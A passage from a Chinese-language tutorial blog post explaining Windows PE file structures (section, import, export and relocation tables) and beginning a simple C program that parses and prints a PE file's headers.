SizeOfHeapCommit;</span><br><span class="line">    DWORD   LoaderFlags;</span><br><span class="line">    DWORD   NumberOfRvaAndSizes;</span><br><span class="line">    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; <span class="comment">//数据目录表,结构体数组</span></span><br><span class="line">&#125; IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;</span><br></pre></td></tr></table></figure></p><p>程序中的扩展PE头大小在标准PE头中的显示如下图</p><p><img src="/2019/03/27/PE结构详解/5.jpg" alt="5"></p><p>扩展PE头在程序中显示如下，每一个属性可以通过偏移找到</p><p><img src="/2019/03/27/PE结构详解/6.jpg" alt="6"></p><p>还需要知道的是，程序的真正入口点 = ImageBase + AddressOfEntryPoint</p><h2 id="节表"><a href="#节表" class="headerlink" title="节表"></a>节表</h2><p>节表的结构如下，整体为40个字节<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_SECTION_HEADER</span> &#123;</span></span><br><span class="line">    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME]; <span class="comment">//ASCII字符串 可自定义 只截取8个字节</span></span><br><span class="line">    <span class="keyword">union</span> &#123;   <span class="comment">//该节在没有对齐之前的真实尺寸,该值可以不准确</span></span><br><span class="line">            DWORD   PhysicalAddress;</span><br><span class="line">            DWORD   VirtualSize;</span><br><span class="line">    &#125; Misc;</span><br><span class="line">    DWORD   VirtualAddress;    <span class="comment">//内存中的偏移地址</span></span><br><span class="line">    DWORD   SizeOfRawData;   <span class="comment">//节在文件中对齐的尺寸</span></span><br><span class="line">    DWORD   PointerToRawData;   <span class="comment">//节区在文件中的偏移</span></span><br><span class="line">    DWORD   PointerToRelocations;</span><br><span class="line">    DWORD   PointerToLinenumbers;</span><br><span class="line">    WORD    NumberOfRelocations;</span><br><span class="line">    WORD    NumberOfLinenumbers;</span><br><span class="line">    DWORD   Characteristics;   <span class="comment">//节的属性</span></span><br><span class="line">&#125; IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;</span><br></pre></td></tr></table></figure></p><p>程序中显示如下</p><p><img src="/2019/03/27/PE结构详解/7.jpg" alt="7"></p><p>值得注意的是扩展PE头中的 FileAlignment 以及 SizeOfHeaders 这两个成员，SizeOfHeaders 表示所有的头加上节表文件对齐之后的值，对齐的大小参考的就是 FileAlignment 成员，如果所有的头加上节表的大小为320，FileAlignment 为 200，那么 SizeOfHeaders 大小就为 400，因为是根据FileAlignment 对齐的，这种对齐虽然牺牲了空间，但是可以提高程序运行效率，下图中的前面部分0x00100000就是程序在内存中对齐的大小，也就是程序运行起来时对齐的大小，0x00000400是程序在文件中的对齐大小，也就是没有运行时对齐的大小，需要清楚的是，PE程序在运行时内存中的对齐值和没有运行时的对齐值可能是截然不同的，了解这一点这对我们后面写PE解析器有帮助。</p><p><img src="/2019/03/27/PE结构详解/8.jpg" alt="8"></p><h2 id="导入表"><a href="#导入表" class="headerlink" title="导入表"></a>导入表</h2><p>导出表(Import Table)和导入表是靠 IMAGE_DATA_DIRECTORY 这个结构体数组来寻找的，IMAGE_DATA_DIRECTORY 的结构如下<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_DATA_DIRECTORY</span> &#123;</span></span><br><span class="line">    DWORD   VirtualAddress;</span><br><span class="line">    DWORD   Size;</span><br><span class="line">&#125; IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;</span><br></pre></td></tr></table></figure></p><p>在程序中查找导出表如下图所示，因为结构体数组中每一个结构体大小为 16 位，又是扩展PE头中的最后一个成员，所以我们从节表段向上推 8 行即为我们的结构体数组开头，前 8 位是导出表的内容，因为是一个exe文件，这里刚好就没有导出表只有导入表，可以看到导入表RVA地址是0x00003700的位置</p><p><img src="/2019/03/27/PE结构详解/9.jpg" alt="9"></p><p>导入表的结构如下<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_IMPORT_DESCRIPTOR</span> &#123;</span></span><br><span class="line">    <span class="keyword">union</span> &#123;</span><br><span class="line">        DWORD   Characteristics;            <span class="comment">// 0 for terminating null import descriptor</span></span><br><span class="line">        DWORD   OriginalFirstThunk;         <span class="comment">// RVA 指向 INT (PIMAGE_THUNK_DATA结构数组)</span></span><br><span class="line">    &#125; DUMMYUNIONNAME;</span><br><span class="line">    DWORD   TimeDateStamp;                  <span class="comment">// 0 if not bound,</span></span><br><span class="line">                                            <span class="comment">// -1 if bound, and real date\time stamp</span></span><br><span class="line">                                            <span class="comment">//     in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)</span></span><br><span class="line">                                            <span class="comment">// O.W. date/time stamp of DLL bound to (Old BIND)</span></span><br><span class="line"></span><br><span class="line">    DWORD   ForwarderChain;                 <span class="comment">// -1 if no forwarders</span></span><br><span class="line">    DWORD   Name;<span class="comment">//RVA指向dll名字,以0结尾</span></span><br><span class="line">    DWORD   FirstThunk;                     <span class="comment">// RVA 指向 IAT (PIMAGE_THUNK_DATA结构数组)</span></span><br><span class="line">&#125; IMAGE_IMPORT_DESCRIPTOR;</span><br><span class="line"><span class="keyword">typedef</span> IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;</span><br></pre></td></tr></table></figure></p><p>可以看到，OriginalFirstThunk 和 FirstThunk 指向的内容分别是 INT 和 IAT ，但实际上 INT 和 IAT 的内容是一样的，所以他们指向的内容是一样的，只是方式不同而已，下图可以完美的解释</p><p><img src="/2019/03/27/PE结构详解/10.jpg" alt="10"></p><p>但是上图只是PE文件加载前的情况，PE文件一旦运行起来，就会变成下图的情况</p><p><img src="/2019/03/27/PE结构详解/11.jpg" alt="11"></p><p>我们还需要了解的结构体是 IMAGE_THUNK_DATA 和 IMAGE_IMPORT_BY_NAME 结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_IMPORT_BY_NAME</span> &#123;</span></span><br><span class="line">    WORD    Hint; <span class="comment">//可能为空,编译器决定,如果不为空,是函数在导出表的索引</span></span><br><span class="line">    BYTE    Name[<span class="number">1</span>]; <span class="comment">//函数名称,以0结尾</span></span><br><span class="line">&#125; IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"pshpack8.h"</span>                       <span class="comment">// Use align 8 for the 64-bit IAT.</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_THUNK_DATA64</span> &#123;</span></span><br><span class="line">    <span class="keyword">union</span> &#123;</span><br><span class="line">        ULONGLONG ForwarderString;  <span class="comment">// 指向一个转向者字符串的RVA</span></span><br><span class="line">        ULONGLONG Function;         <span class="comment">// 被输入的函数的内存地址</span></span><br><span class="line">        ULONGLONG Ordinal;<span class="comment">// 被输入API的序数值</span></span><br><span class="line">        ULONGLONG AddressOfData;    <span class="comment">// 指针指向 IMAGE_IMPORT_BY_NAME</span></span><br><span class="line">    &#125; u1;</span><br><span class="line">&#125; IMAGE_THUNK_DATA64;</span><br><span class="line"><span class="keyword">typedef</span> IMAGE_THUNK_DATA64 * PIMAGE_THUNK_DATA64;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"poppack.h"</span>                        <span class="comment">// Back to 4 byte packing</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_THUNK_DATA32</span> &#123;</span></span><br><span class="line">    <span class="keyword">union</span> &#123;</span><br><span class="line">        DWORD ForwarderString;      <span class="comment">// PBYTE </span></span><br><span class="line">        DWORD Function;             <span class="comment">// PDWORD</span></span><br><span class="line">        DWORD Ordinal;</span><br><span class="line">        DWORD AddressOfData;        <span class="comment">// PIMAGE_IMPORT_BY_NAME</span></span><br><span class="line">    &#125; u1;</span><br><span class="line">&#125; IMAGE_THUNK_DATA32;</span><br><span class="line"><span class="keyword">typedef</span> IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;</span><br></pre></td></tr></table></figure><p>其实他们的作用很明显，就是用来寻找当前的模块依赖哪些函数，可以用这几个结构体求到依赖函数的名字。</p><h2 id="导出表"><a href="#导出表" class="headerlink" title="导出表"></a>导出表</h2><p>导出表(Export Table)一般是DLL文件用的比较多，exe文件很少有导出表，导出表的数据结构如下<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_EXPORT_DIRECTORY</span> &#123;</span></span><br><span class="line">    DWORD   Characteristics;</span><br><span class="line">    DWORD   TimeDateStamp;</span><br><span class="line">    WORD    MajorVersion;</span><br><span class="line">    WORD    MinorVersion;</span><br><span class="line">    DWORD   Name;<span class="comment">// 指针指向该导出表文件名字符串</span></span><br><span class="line">    DWORD   Base;<span class="comment">// 导出函数起始序号</span></span><br><span class="line">    DWORD   NumberOfFunctions;<span class="comment">// 所有导出函数的个数</span></span><br><span class="line">    DWORD   NumberOfNames;<span class="comment">// 以函数名字导出的函数个数</span></span><br><span class="line">    DWORD   AddressOfFunctions;     <span class="comment">// 指针指向导出函数地址表RVA</span></span><br><span class="line">    DWORD   AddressOfNames;         <span class="comment">// 指针指向导出函数名称表RVA</span></span><br><span class="line">    DWORD   AddressOfNameOrdinals;  <span class="comment">// 指针指向导出函数序号表RVA</span></span><br><span class="line">&#125; IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;</span><br></pre></td></tr></table></figure></p><p>可以看到导出表里面最后还有三个表，这三个表可以让我们找到函数真正的地址，在编写PE格式解析器的时候可以用到，AddressOfFunctions 是函数地址表，指向每个函数真正的地址，AddressOfNames 和 AddressOfNameOrdinals 分别是函数名称表和函数序号表，我们知道DLL文件有两种调用方式，一种是用名字，一种是用序号，通过这两个表可以用来寻找函数在 AddressOfFunctions 表中真正的地址。</p><h2 id="重定位表"><a href="#重定位表" class="headerlink" title="重定位表"></a>重定位表</h2><p>当PE文件被装载到虚拟内存的另一个地址中的时候，也就是载入时不将默认的值作为基地址载入，链接器登记的哪个地址是错误的，需要我们用重定位表来调整，重定位表在数据目录项的第 6 个结构，结构如下<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_BASE_RELOCATION</span> &#123;</span></span><br><span class="line">    DWORD   VirtualAddress; <span class="comment">// 重定位数据的开始 RVA 地址</span></span><br><span class="line">    DWORD   SizeOfBlock;<span class="comment">// 重定位块的长度</span></span><br><span class="line"><span class="comment">//  WORD    TypeOffset[1];// 重定位项数组</span></span><br><span class="line">&#125; IMAGE_BASE_RELOCATION;</span><br><span class="line"><span class="keyword">typedef</span> IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;</span><br></pre></td></tr></table></figure></p><p>重定位表有许多个，以八个字节的 0 结尾</p><h1 id="0x02：PE解析器编写"><a href="#0x02：PE解析器编写" class="headerlink" title="0x02：PE解析器编写"></a>0x02：PE解析器编写</h1><p>这里放一个由C写的简易的PE分析工具，写的比较简单，主要是为了熟悉PE结构，代码我也传到了GitHub上面，需要的可以自行下载。</p><h2 id="下载链接"><a href="#下载链接" class="headerlink" title="下载链接"></a>下载链接</h2><p><a href="https://github.com/ThunderJie/Code/tree/master/PE" target="_blank" rel="noopener">https://github.com/ThunderJie/Code/tree/master/PE</a><br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function">DWORD <span class="title">RVAOffset</span><span class="params">(PIMAGE_NT_HEADERS pNtHeader, DWORD Rva)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHeader);</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; pNtHeader-&gt;FileHeader.NumberOfSections; i++)</span><br><span class="line">&#123;</span><br><span class="line">DWORD SectionBeginRva = pSectionHeader[i].VirtualAddress;</span><br><span class="line"></span><br><span class="line">DWORD SectionEndRva = pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData;</span><br><span class="line"><span class="keyword">if</span> (Rva &gt;= SectionBeginRva &amp;&amp; Rva &lt;= SectionEndRva)</span><br><span class="line">&#123;</span><br><span class="line">DWORD Temp = Rva - SectionBeginRva;</span><br><span class="line">DWORD Rwa = Temp + pSectionHeader[i].PointerToRawData;</span><br><span class="line"><span class="keyword">return</span> Rwa;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>* argv[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">HANDLE hFile;</span><br><span class="line">HANDLE hMapping;</span><br><span class="line">LPVOID ImageBase;</span><br><span class="line"><span class="keyword">char</span> szFilePath[MAX_PATH];</span><br><span class="line">OPENFILENAME ofn;<span class="comment">//定义结构，调用打开对话框选择要分析的文件及其保存路径</span></span><br><span class="line">PIMAGE_DOS_HEADER  pDH = <span class="literal">NULL</span>;<span class="comment">//指向IMAGE_DOS结构的指针</span></span><br><span class="line">PIMAGE_NT_HEADERS  pNtH = <span class="literal">NULL</span>;<span class="comment">//指向IMAGE_NT结构的指针</span></span><br><span class="line">PIMAGE_FILE_HEADER pFH = <span class="literal">NULL</span>;<span class="comment">//指向IMAGE_FILE结构的指针</span></span><br><span class="line">PIMAGE_OPTIONAL_HEADER pOH = <span class="literal">NULL</span>;<span class="comment">//指向IMAGE_OPTIONALE结构的指针</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(szFilePath, <span class="number">0</span>, MAX_PATH);</span><br><span class="line"><span class="built_in">memset</span>(&amp;ofn, <span class="number">0</span>, <span class="keyword">sizeof</span>(ofn));</span><br><span class="line"></span><br><span class="line">ofn.lStructSize = <span class="keyword">sizeof</span>(ofn);</span><br><span class="line">ofn.hwndOwner = <span class="literal">NULL</span>;</span><br><span class="line">ofn.hInstance = GetModuleHandle(<span class="literal">NULL</span>);</span><br><span class="line">ofn.nMaxFile = MAX_PATH;</span><br><span class="line">ofn.lpstrInitialDir = <span class="string">"."</span>;</span><br><span class="line">ofn.lpstrFile = szFilePath;</span><br><span class="line">ofn.lpstrTitle = <span class="string">"choose a PE file --by Thunder_J"</span>;</span><br><span class="line">ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;</span><br><span class="line">ofn.lpstrFilter = <span class="string">"*.*\0*.*\0"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!GetOpenFileName(&amp;ofn))</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"打开文件错误:%d\n"</span>, GetLastError());</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">hFile = CreateFile(szFilePath, GENERIC_READ, FILE_SHARE_READ, <span class="literal">NULL</span>, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (!hFile)</span><br><span class="line">&#123;</span><br><span class="line">MessageBox(<span class="literal">NULL</span>, <span class="string">"打开文件错误"</span>, <span class="literal">NULL</span>, MB_OK);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">hMapping = CreateFileMapping(hFile, <span class="literal">NULL</span>, PAGE_READONLY, <span class="number">0</span>, <span class="number">0</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (!hMapping)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"创建映射错误:%d"</span>, GetLastError());</span><br><span class="line">CloseHandle(hFile);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">ImageBase = MapViewOfFile(hMapping, FILE_MAP_READ, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (!ImageBase)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"文件映射错误:%d"</span>, GetLastError());</span><br><span class="line">CloseHandle(hMapping);</span><br><span class="line">CloseHandle(hFile);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="comment">/*  PE头的判断                                 */</span></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="keyword">if</span> (!ImageBase) <span class="comment">//判断映像地址</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Not a valid PE file 1!\n"</span>);</span><br><span class="line">CloseHandle(hMapping);</span><br><span class="line">CloseHandle(hFile);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"--------------------PEheader------------------------\n"</span>);</span><br><span class="line">pDH = (PIMAGE_DOS_HEADER)ImageBase;</span><br><span class="line"><span class="keyword">if</span> (pDH-&gt;e_magic!=IMAGE_DOS_SIGNATURE) <span class="comment">//判断是否为MZ</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Not a valid PE file 2!\n"</span>);</span><br><span class="line">CloseHandle(hMapping);</span><br><span class="line">CloseHandle(hFile);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">pNtH = (PIMAGE_NT_HEADERS)((DWORD)pDH + pDH-&gt;e_lfanew); <span class="comment">//判断是否为PE格式</span></span><br><span class="line"><span class="keyword">if</span> (pNtH-&gt;Signature!=IMAGE_NT_SIGNATURE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Not a valid PE file 3!\n"</span>);</span><br><span class="line">CloseHandle(hMapping);</span><br><span class="line">CloseHandle(hFile);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"PE e_lfanew is: 0x%x\n"</span>, pNtH);</span><br><span class="line"></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="comment">/*  FileHeader                                */</span></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line">pFH = &amp;pNtH-&gt;FileHeader;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"-----------------FileHeader------------------------\n"</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"NumberOfSections: %d\n"</span>, pFH-&gt;NumberOfSections);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"SizeOfOptionalHeader: %d\n"</span>, pFH-&gt;SizeOfOptionalHeader);</span><br><span class="line"></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="comment">/*  OptionalHeader                            */</span></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line">pOH = &amp;pNtH-&gt;OptionalHeader;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"-----------------OptionalHeader---------------------\n"</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"SizeOfCode:0x%08x\n"</span>, pOH-&gt;SizeOfCode);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"AddressOfEntryPoint: 0x%08X\n"</span>, pOH-&gt;AddressOfEntryPoint);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"ImageBase is 0x%x\n"</span>, ImageBase);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"SectionAlignment: 0x%08x\n"</span>, pOH-&gt;SectionAlignment);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"FileAlignment: 0x%08x\n"</span>, pOH-&gt;FileAlignment);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"SizeOfImage: 0x%08x\n"</span>, pOH-&gt;SizeOfImage);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"SizeOfHeaders: 0x%08x\n"</span>, pOH-&gt;SizeOfHeaders);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"NumberOfRvaAndSizes: 0x%08x\n"</span>, pOH-&gt;NumberOfRvaAndSizes);</span><br><span class="line"></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="comment">/*  SectionTable                              */</span></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="keyword">int</span> SectionNumber = <span class="number">0</span>;</span><br><span class="line">DWORD SectionHeaderOffset = (DWORD)pNtH + <span class="number">24</span> + (DWORD)pFH-&gt;SizeOfOptionalHeader; <span class="comment">//节表位置的计算</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"--------------------SectionTable---------------------\n"</span>);</span><br><span class="line"><span class="keyword">for</span> (SectionNumber; SectionNumber &lt; pFH-&gt;NumberOfSections;SectionNumber++)</span><br><span class="line">&#123;</span><br><span class="line">PIMAGE_SECTION_HEADER pSh = (PIMAGE_SECTION_HEADER)(SectionHeaderOffset + <span class="number">40</span> * SectionNumber);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d 's Name is %s\n"</span>, SectionNumber + <span class="number">1</span>, pSh-&gt;Name);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"VirtualAddress: 0x%08X\n"</span>, (DWORD)pSh-&gt;VirtualAddress);</span><br><span class="line"><span 